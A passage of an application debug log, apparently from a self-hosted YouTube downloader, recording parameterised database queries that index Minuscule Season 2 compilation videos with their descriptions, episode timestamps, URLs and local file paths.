https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Turbo #Dragonflies #Beans #Ladybird #race #insects #country #wacky #Minuscule #nature #ladybugs #animatedseries", "Turbo speed | Minuscule 🍃 45' Compilation", "2900d9f4-5849-42be-899d-85af3d7fccce", "NMhU-D734N0", 1983, false, 5, "https://www.youtube.com/watch?v=NMhU-D734N0", 30, "/downloads/Miniscule Season 2/2025-09-04 Turbo speed | Minuscule 🍃 45' Compilation/Turbo speed | Minuscule 🍃 45' Compilation [NMhU-D734N0].mp4", false, false, false, [], 1, ~U[2025-09-04 10:00:38Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Turbo speed | S02E58\n00:03:24 | At Full Speed | S02E27\n00:07:08 | Fly Hunting | S02E24\n00:10:41 | Spider Driver | S02E36\n00:14:23 | Mission : BBQ | S02E09\n00:18:08 | Zzz In The Metro | S02E53\n00:21:44 | Trapped | S02E64\n00:25:26 | Ladybugland | S02E62\n00:28:54 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Turbo #Dragonflies #Beans #Ladybird #race #insects #country #wacky #Minuscule #nature #ladybugs #animatedseries", "Turbo speed | Minuscule 🍃 45' Compilation", "NMhU-D734N0", 1983, false, 5, "https://www.youtube.com/watch?v=NMhU-D734N0", "/downloads/Miniscule Season 2/2025-09-04 Turbo speed | Minuscule 🍃 45' Compilation/Turbo speed | Minuscule 🍃 45' Compilation [NMhU-D734N0].mp4", false, ~U[2025-09-04 10:00:38Z]] 22:15:39.066 [debug] QUERY OK source="sources" db=0.5ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.068 [debug] QUERY OK source="media_items" db=0.9ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 18:00:31Z], 5] 22:15:39.072 [debug] QUERY OK source="media_items" db=2.5ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:03:45 | Woopsy Daysies! | S02E47\n00:07:19 | Chewing gum rodeo | S02E14\n00:11:05 | If Only Lonely | S02E22\n00:14:50 | The Wing Case | S02E01\n00:18:36 | Fly Hunting | S02E24\n00:22:09 | Ladybugland | S02E62\n00:25:37 | An Acorn Season | S02E05\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #leaps #calculation #house #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation", "002ef5b4-4b58-4014-b4e7-0a1dc9200a64", "PKmKoMbaCQU", 1801, false, 5, "https://www.youtube.com/watch?v=PKmKoMbaCQU", 31, "/downloads/Miniscule Season 2/2025-08-30 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation [PKmKoMbaCQU].mp4", false, false, false, [], 1, ~U[2025-08-30 18:00:31Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:03:45 | Woopsy Daysies! | S02E47\n00:07:19 | Chewing gum rodeo | S02E14\n00:11:05 | If Only Lonely | S02E22\n00:14:50 | The Wing Case | S02E01\n00:18:36 | Fly Hunting | S02E24\n00:22:09 | Ladybugland | S02E62\n00:25:37 | An Acorn Season | S02E05\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #leaps #calculation #house #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation", "PKmKoMbaCQU", 1801, false, 5, "https://www.youtube.com/watch?v=PKmKoMbaCQU", "/downloads/Miniscule Season 2/2025-08-30 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 40' Compilation [PKmKoMbaCQU].mp4", false, ~U[2025-08-30 18:00:31Z]] 22:15:39.073 [debug] QUERY OK source="sources" db=0.4ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.074 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-21 10:01:03Z], 5] 22:15:39.078 [debug] QUERY OK source="media_items" db=2.5ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Beehive On A Troll | S02E56\n00:03:30 | Honey Fly | S02E08\n00:07:20 | Trapped | S02E64\n00:11:03 | Gather More to Pollinate More | S02E32\n00:14:48 | The Housing Plant Project | S02E26\n00:18:25 | Homeless | S02E02\n00:22:12 | The Annoying Neighbor | S02E28\n00:25:49 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Beehive #Pollen #Troll #Shelter #Honey #Fly #Bees #Admiration #Minuscule #nature #insects #ladybugs #animatedseries", "Beehive On A Troll | Minuscule 🍃 40' Compilation", "12bae2a3-a539-4e85-9c25-698789f28ebb", "YvYdCFLchVw", 1810, false, 5, "https://www.youtube.com/watch?v=YvYdCFLchVw", 32, "/downloads/Miniscule Season 2/2025-08-21 Beehive On A Troll | Minuscule 🍃 40' Compilation/Beehive On A Troll | Minuscule 🍃 40' Compilation [YvYdCFLchVw].mp4", false, false, false, [], 1, ~U[2025-08-21 10:01:03Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Beehive On A Troll | S02E56\n00:03:30 | Honey Fly | S02E08\n00:07:20 | Trapped | S02E64\n00:11:03 | Gather More to Pollinate More | S02E32\n00:14:48 | The Housing Plant Project | S02E26\n00:18:25 | Homeless | S02E02\n00:22:12 | The Annoying Neighbor | S02E28\n00:25:49 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Beehive #Pollen #Troll #Shelter #Honey #Fly #Bees #Admiration #Minuscule #nature #insects #ladybugs #animatedseries", "Beehive On A Troll | Minuscule 🍃 40' Compilation", "YvYdCFLchVw", 1810, false, 5, "https://www.youtube.com/watch?v=YvYdCFLchVw", "/downloads/Miniscule Season 2/2025-08-21 Beehive On A Troll | Minuscule 🍃 40' Compilation/Beehive On A Troll | Minuscule 🍃 40' Compilation [YvYdCFLchVw].mp4", false, ~U[2025-08-21 10:01:03Z]] 22:15:39.079 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.080 [debug] QUERY OK source="media_items" db=0.9ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-26 06:00:17Z], 5] 22:15:39.084 [debug] QUERY OK source="media_items" db=2.4ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Refrigerated | S02E65\n00:03:34 | Microzilla | S02E07\n00:07:20 | Brushing | S02E46\n00:10:52 | Snow Fly | S02E51\n00:14:17 | Summer Hat | S02E48\n00:17:58 | Bzzaping | S02E03\n00:21:45 | Spider from the Depths | S02E31\n00:25:20 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Refrigerated #spider #fly #ice #Microzilla #microwave #Minuscule #nature #insects #ladybugs #animatedseries", "Refrigerated | Minuscule 🍃 40' Compilation", "da87a7c1-9eae-433a-bc61-4b6a1f5ac642", "BG3zv1AFadA", 1784, false, 5, "https://www.youtube.com/watch?v=BG3zv1AFadA", 33, "/downloads/Miniscule Season 2/2025-08-26 Refrigerated | Minuscule 🍃 40' Compilation/Refrigerated | Minuscule 🍃 40' Compilation [BG3zv1AFadA].mp4", false, false, false, [], 1, ~U[2025-08-26 06:00:17Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Refrigerated | S02E65\n00:03:34 | Microzilla | S02E07\n00:07:20 | Brushing | S02E46\n00:10:52 | Snow Fly | S02E51\n00:14:17 | Summer Hat | S02E48\n00:17:58 | Bzzaping | S02E03\n00:21:45 | Spider from the Depths | S02E31\n00:25:20 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Refrigerated #spider #fly #ice #Microzilla #microwave #Minuscule #nature #insects #ladybugs #animatedseries", "Refrigerated | Minuscule 🍃 40' Compilation", "BG3zv1AFadA", 1784, false, 5, "https://www.youtube.com/watch?v=BG3zv1AFadA", "/downloads/Miniscule Season 2/2025-08-26 Refrigerated | Minuscule 🍃 40' Compilation/Refrigerated | Minuscule 🍃 40' Compilation [BG3zv1AFadA].mp4", false, ~U[2025-08-26 06:00:17Z]] 22:15:39.085 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.086 [debug] QUERY OK source="media_items" db=1.2ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-07 10:00:46Z], 5] 22:15:39.090 [debug] QUERY OK source="media_items" db=2.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | To The Port Now! | S02E43\n00:03:27 | Rascals! | S02E38\n00:07:06 | White As Snow | S02E63\n00:10:43 | The Yule log | S02E35\n00:14:28 | An Acorn Season | S02E05\n00:18:14 | Sausage Predator | S02E06\n00:22:00 | Sand Castle | S02E49\n00:25:26 | Ants On The Train | S02E52\n00:28:58 | The Chocolate Chase! | S02E19\n00:32:43 | Snow Carrot | S02E59\n00:36:22 | A Pathetic She'Nut'Igan | S02E12\n00:40:07 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ant #trap #booty #walnut #ants #battle #steal #leader #Minuscule #nature #insects #ladybugs #animatedseries", "To The Port Now! | Minuscule 🍃 60' Compilation", "21e94b36-b8bc-4725-bda3-04a6408a8d7a", "KbWIJP2TEkE", 2668, false, 5, "https://www.youtube.com/watch?v=KbWIJP2TEkE", 34, "/downloads/Miniscule Season 2/2025-08-07 To The Port Now! | Minuscule 🍃 60' Compilation/To The Port Now! | Minuscule 🍃 60' Compilation [KbWIJP2TEkE].mp4", false, false, false, [], 1, ~U[2025-08-07 10:00:46Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | To The Port Now! | S02E43\n00:03:27 | Rascals! | S02E38\n00:07:06 | White As Snow | S02E63\n00:10:43 | The Yule log | S02E35\n00:14:28 | An Acorn Season | S02E05\n00:18:14 | Sausage Predator | S02E06\n00:22:00 | Sand Castle | S02E49\n00:25:26 | Ants On The Train | S02E52\n00:28:58 | The Chocolate Chase! | S02E19\n00:32:43 | Snow Carrot | S02E59\n00:36:22 | A Pathetic She'Nut'Igan | S02E12\n00:40:07 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ant #trap #booty #walnut #ants #battle #steal #leader #Minuscule #nature #insects #ladybugs #animatedseries", "To The Port Now! | Minuscule 🍃 60' Compilation", "KbWIJP2TEkE", 2668, false, 5, "https://www.youtube.com/watch?v=KbWIJP2TEkE", "/downloads/Miniscule Season 2/2025-08-07 To The Port Now! | Minuscule 🍃 60' Compilation/To The Port Now! | Minuscule 🍃 60' Compilation [KbWIJP2TEkE].mp4", false, ~U[2025-08-07 10:00:46Z]] 22:15:39.091 [debug] QUERY OK source="sources" db=0.4ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.092 [debug] QUERY OK source="media_items" db=0.9ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 18:00:45Z], 5] 22:15:39.096 [debug] QUERY OK source="media_items" db=2.5ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleep Walker | S02E68\n00:03:24 | The Long Road | S02E34\n00:07:07 | Night of the Gastropods | S02E18\n00:10:52 | Thirsty | S02E29\n00:14:25 | Hop On! | S02E25\n00:18:02 | Zzz zzz | S02E44\n00:21:33 | Spider from the Depths | S02E31\n00:25:07 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Dream #Love #Snail #Sleep #snail #water #journey #hazard #Minuscule #nature #insects #ladybugs #animatedseries", "Sleep Walker | Minuscule 🍃 40' Compilation", "288fbe15-153a-4c15-a5f9-10320ecbc641", "nT-gIL_wrbs", 1742, false, 5, "https://www.youtube.com/watch?v=nT-gIL_wrbs", 35, "/downloads/Miniscule Season 2/2025-08-16 Sleep Walker | Minuscule 🍃 40' Compilation/Sleep Walker | Minuscule 🍃 40' Compilation [nT-gIL_wrbs].mp4", false, false, false, [], 1, ~U[2025-08-16 18:00:45Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleep Walker | S02E68\n00:03:24 | The Long Road | S02E34\n00:07:07 | Night of the Gastropods | S02E18\n00:10:52 | Thirsty | S02E29\n00:14:25 | Hop On! | S02E25\n00:18:02 | Zzz zzz | S02E44\n00:21:33 | Spider from the Depths | S02E31\n00:25:07 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Dream #Love #Snail #Sleep #snail #water #journey #hazard #Minuscule #nature #insects #ladybugs #animatedseries", "Sleep Walker | Minuscule 🍃 40' Compilation", "nT-gIL_wrbs", 1742, false, 5, "https://www.youtube.com/watch?v=nT-gIL_wrbs", "/downloads/Miniscule Season 2/2025-08-16 Sleep Walker | Minuscule 🍃 40' Compilation/Sleep Walker | Minuscule 🍃 40' Compilation [nT-gIL_wrbs].mp4", false, ~U[2025-08-16 18:00:45Z]] 22:15:39.097 [debug] QUERY OK source="sources" db=0.4ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.099 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 18:00:38Z], 5] 22:15:39.102 [debug] QUERY OK source="media_items" db=2.5ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\n00:03:45 | Summer Hat | S02E48\n00:07:27 | Labyrinth | S02E69\n00:11:12 | Spider from the Depths | S02E31\n00:14:47 | Brushing | S02E46\n00:18:19 | Honey Fly | S02E08\n00:22:09 | Thievish As A Magpie | S02E11\n00:25:55 | A Pathetic She'Nut'Igan | S02E12\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #summer #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa | Minuscule | 40' Compilation", "b31dd7b0-4cb2-4c55-8d20-77ce629adecb", "cXt8BCh7-7A", 1819, false, 5, "https://www.youtube.com/watch?v=cXt8BCh7-7A", 36, "/downloads/Miniscule Season 2/2025-08-09 The Hat Of The Medusa | Minuscule | 40' Compilation/The Hat Of The Medusa | Minuscule | 40' Compilation [cXt8BCh7-7A].mp4", false, false, false, [], 1, ~U[2025-08-09 18:00:38Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily 